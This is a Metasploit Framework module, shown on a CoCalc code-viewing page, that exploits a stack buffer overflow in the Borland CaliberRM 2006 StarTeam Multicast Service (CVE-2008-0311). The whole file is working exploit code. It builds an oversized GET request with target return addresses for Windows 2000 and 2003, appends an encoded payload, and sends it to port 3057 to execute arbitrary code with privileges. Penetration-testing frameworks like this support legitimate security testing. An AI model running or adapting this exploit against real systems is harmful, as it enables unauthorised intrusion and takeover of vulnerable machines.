CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/borland_starteam.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Borland CaliberRM StarTeam Multicast Service Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in Borland CaliberRM 2006. By sending
16
a specially crafted GET request to the STMulticastService, an attacker may be
17
able to execute arbitrary code.
18
},
19
'Author' => 'MC',
20
'References' =>
21
[
22
[ 'CVE', '2008-0311' ],
23
[ 'OSVDB', '44039' ],
24
[ 'BID', '28602' ],
25
],
26
'DefaultOptions' =>
27
{
28
'EXITFUNC' => 'process',
29
},
30
'Payload' =>
31
{
32
'Space' => 600,
33
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
34
'StackAdjustment' => -3500,
35
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
36
},
37
'Platform' => 'win',
38
'Targets' =>
39
[
40
[ 'Windows 2000 SP4 English', { 'Ret' => 0x7c5729db } ],
41
[ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ],
42
],
43
'Privileged' => true,
44
'DefaultTarget' => 0,
45
'DisclosureDate' => '2008-04-02'))
46
47
register_options([Opt::RPORT(3057)])
48
end
49
50
def exploit
51
52
# inline payloads work best!
53
sploit = rand_text_english(511) + "\x00" + rand_text_english(1020)
54
sploit << [target.ret].pack('V') + "@" * 156 # <- :(
55
sploit << payload.encoded + rand_text_english(rand(100) + 1)
56
57
print_status("Trying target #{target.name}...")
58
59
send_request_raw({'uri' => sploit,}, 5)
60
61
handler
62
disconnect
63
64
end
65
end
66
67